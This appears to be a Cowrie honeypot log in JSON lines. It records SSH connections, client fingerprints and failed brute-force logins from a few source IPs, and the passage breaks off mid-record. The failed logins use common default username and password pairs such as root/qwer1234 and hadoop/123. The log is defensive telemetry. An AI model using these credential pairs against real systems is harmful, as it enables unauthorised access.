{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:30.885628Z","src_ip":"91.92.42.227","session":"756066e69a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:30.889176Z","src_ip":"91.92.42.227","session":"756066e69a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:32.626496Z","src_ip":"91.92.42.227","session":"756066e69a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:34.083981Z","src_ip":"91.92.42.227","session":"756066e69a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.174882888793945,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:35.855225Z","src_ip":"128.199.8.54","session":"e608f2363384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53678,"dst_ip":"10.17.0.5","dst_port":22,"session":"da8d54e28fd2","protocol":"ssh","message":"New connection: 91.92.42.227:53678 (10.17.0.5:22) [session: da8d54e28fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:37.008949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:37.625996Z","src_ip":"91.92.42.227","session":"da8d54e28fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:37.655424Z","src_ip":"91.92.42.227","session":"da8d54e28fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"p@ssw0rd","message":"login attempt [labuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:39.472221Z","src_ip":"91.92.42.227","session":"da8d54e28fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:40.939370Z","src_ip":"91.92.42.227","session":"da8d54e28fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53726,"dst_ip":"10.17.0.5","dst_port":22,"session":"b52fc53e18f1","protocol":"ssh","message":"New connection: 91.92.42.227:53726 (10.17.0.5:22) [session: b52fc53e18f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:43.816404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:44.188255Z","src_ip":"91.92.42.227","session":"b52fc53e18f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:44.191489Z","src_ip":"91.92.42.227","session":"b52fc53e18f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:46.561859Z","src_ip":"91.92.42.227","session":"b52fc53e18f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:48.005860Z","src_ip":"91.92.42.227","session":"b52fc53e18f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50908,"dst_ip":"10.17.0.5","dst_port":22,"session":"291ab78f3d0c","protocol":"ssh","message":"New connection: 91.92.42.227:50908 (10.17.0.5:22) [session: 291ab78f3d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:50.662970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:51.014691Z","src_ip":"91.92.42.227","session":"291ab78f3d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:51.017536Z","src_ip":"91.92.42.227","session":"291ab78f3d0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:52.843458Z","src_ip":"91.92.42.227","session":"291ab78f3d0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:54.354123Z","src_ip":"91.92.42.227","session":"291ab78f3d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":40288,"dst_ip":"10.17.0.5","dst_port":22,"session":"21af119bd291","protocol":"ssh","message":"New connection: 4.213.224.194:40288 (10.17.0.5:22) [session: 21af119bd291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:56.660345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:56.664432Z","src_ip":"4.213.224.194","session":"21af119bd291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:56.875559Z","src_ip":"4.213.224.194","session":"21af119bd291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53722,"dst_ip":"10.17.0.5","dst_port":22,"session":"029258c2bca7","protocol":"ssh","message":"New connection: 91.92.42.227:53722 (10.17.0.5:22) [session: 029258c2bca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:57.162386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:57.686098Z","src_ip":"91.92.42.227","session":"029258c2bca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:57.692431Z","src_ip":"91.92.42.227","session":"029258c2bca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deepak","password":"123456","message":"login attempt [deepak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:57.751865Z","src_ip":"4.213.224.194","session":"21af119bd291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:55:58.965677Z","src_ip":"4.213.224.194","session":"21af119bd291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:00.456390Z","src_ip":"91.92.42.227","session":"029258c2bca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:02.162885Z","src_ip":"91.92.42.227","session":"029258c2bca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53812,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcc45ff18c04","protocol":"ssh","message":"New connection: 91.92.42.227:53812 (10.17.0.5:22) [session: fcc45ff18c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:03.332697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:03.908551Z","src_ip":"91.92.42.227","session":"fcc45ff18c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:03.912085Z","src_ip":"91.92.42.227","session":"fcc45ff18c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:07.519866Z","src_ip":"91.92.42.227","session":"fcc45ff18c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:09.322084Z","src_ip":"91.92.42.227","session":"fcc45ff18c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36614,"dst_ip":"10.17.0.5","dst_port":22,"session":"d57233467415","protocol":"ssh","message":"New connection: 91.92.42.227:36614 (10.17.0.5:22) [session: d57233467415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:09.951482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:10.908958Z","src_ip":"91.92.42.227","session":"d57233467415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:10.913900Z","src_ip":"91.92.42.227","session":"d57233467415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:14.755531Z","src_ip":"91.92.42.227","session":"d57233467415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56524,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a3a67633420","protocol":"ssh","message":"New connection: 91.92.42.227:56524 (10.17.0.5:22) [session: 2a3a67633420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:16.957049Z"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:17.016113Z","src_ip":"91.92.42.227","session":"d57233467415","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:56:17.747753Z","src_ip":"91.92.42.227","session":"2a3a67633420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-